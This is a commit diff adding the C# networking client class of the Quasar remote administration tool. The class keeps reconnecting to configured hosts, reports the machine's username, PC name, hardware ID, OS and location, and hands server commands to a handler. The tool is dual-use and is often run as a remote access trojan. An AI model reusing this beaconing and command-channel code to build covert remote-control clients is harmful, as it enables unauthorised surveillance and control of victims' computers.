initial commit
This commit is contained in:
@@ -0,0 +1,176 @@
|
||||
using Quasar.Client.Config;
|
||||
using Quasar.Client.Helper;
|
||||
using Quasar.Client.IO;
|
||||
using Quasar.Client.IpGeoLocation;
|
||||
using Quasar.Client.User;
|
||||
using Quasar.Common.DNS;
|
||||
using Quasar.Common.Helpers;
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Utilities;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Threading;
|
||||
|
||||
namespace Quasar.Client.Networking
|
||||
{
|
||||
public class QuasarClient : Client, IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// Used to keep track if the client has been identified by the server.
|
||||
/// </summary>
|
||||
private bool _identified;
|
||||
|
||||
/// <summary>
|
||||
/// The hosts manager which contains the available hosts to connect to.
|
||||
/// </summary>
|
||||
private readonly HostsManager _hosts;
|
||||
|
||||
/// <summary>
|
||||
/// Random number generator to slightly randomize the reconnection delay.
|
||||
/// </summary>
|
||||
private readonly SafeRandom _random;
|
||||
|
||||
/// <summary>
|
||||
/// Create a <see cref="_token"/> and signals cancellation.
|
||||
/// </summary>
|
||||
private readonly CancellationTokenSource _tokenSource;
|
||||
|
||||
/// <summary>
|
||||
/// The token to check for cancellation.
|
||||
/// </summary>
|
||||
private readonly CancellationToken _token;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="QuasarClient"/> class.
|
||||
/// </summary>
|
||||
/// <param name="hostsManager">The hosts manager which contains the available hosts to connect to.</param>
|
||||
/// <param name="serverCertificate">The server certificate.</param>
|
||||
public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate)
|
||||
: base(serverCertificate)
|
||||
{
|
||||
this._hosts = hostsManager;
|
||||
this._random = new SafeRandom();
|
||||
base.ClientState += OnClientState;
|
||||
base.ClientRead += OnClientRead;
|
||||
base.ClientFail += OnClientFail;
|
||||
this._tokenSource = new CancellationTokenSource();
|
||||
this._token = _tokenSource.Token;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Connection loop used to reconnect and keep the connection open.
|
||||
/// </summary>
|
||||
public void ConnectLoop()
|
||||
{
|
||||
// TODO: do not re-use object
|
||||
while (!_token.IsCancellationRequested)
|
||||
{
|
||||
if (!Connected)
|
||||
{
|
||||
Host host = _hosts.GetNextHost();
|
||||
|
||||
base.Connect(host.IpAddress, host.Port);
|
||||
}
|
||||
|
||||
while (Connected) // hold client open
|
||||
{
|
||||
try
|
||||
{
|
||||
_token.WaitHandle.WaitOne(1000);
|
||||
}
|
||||
catch (Exception e) when (e is NullReferenceException || e is ObjectDisposedException)
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (_token.IsCancellationRequested)
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
Thread.Sleep(Settings.RECONNECTDELAY + _random.Next(250, 750));
|
||||
}
|
||||
}
|
||||
|
||||
private void OnClientRead(Client client, IMessage message, int messageLength)
|
||||
{
|
||||
if (!_identified)
|
||||
{
|
||||
if (message.GetType() == typeof(ClientIdentificationResult))
|
||||
{
|
||||
var reply = (ClientIdentificationResult) message;
|
||||
_identified = reply.Result;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
MessageHandler.Process(client, message);
|
||||
}
|
||||
|
||||
private void OnClientFail(Client client, Exception ex)
|
||||
{
|
||||
Debug.WriteLine("Client Fail - Exception Message: " + ex.Message);
|
||||
client.Disconnect();
|
||||
}
|
||||
|
||||
private void OnClientState(Client client, bool connected)
|
||||
{
|
||||
_identified = false; // always reset identification
|
||||
|
||||
if (connected)
|
||||
{
|
||||
// send client identification once connected
|
||||
|
||||
var geoInfo = GeoInformationFactory.GetGeoInformation();
|
||||
var userAccount = new UserAccount();
|
||||
|
||||
client.Send(new ClientIdentification
|
||||
{
|
||||
Version = Settings.VERSION,
|
||||
OperatingSystem = PlatformHelper.FullName,
|
||||
AccountType = userAccount.Type.ToString(),
|
||||
Country = geoInfo.Country,
|
||||
CountryCode = geoInfo.CountryCode,
|
||||
ImageIndex = geoInfo.ImageIndex,
|
||||
Id = HardwareDevices.HardwareId,
|
||||
Username = userAccount.UserName,
|
||||
PcName = SystemHelper.GetPcName(),
|
||||
Tag = Settings.TAG,
|
||||
EncryptionKey = Settings.ENCRYPTIONKEY,
|
||||
Signature = Convert.FromBase64String(Settings.SERVERSIGNATURE)
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Stops the connection loop and disconnects the connection.
|
||||
/// </summary>
|
||||
public void Exit()
|
||||
{
|
||||
_tokenSource.Cancel();
|
||||
Disconnect();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this activity detection service.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
_tokenSource.Cancel();
|
||||
_tokenSource.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user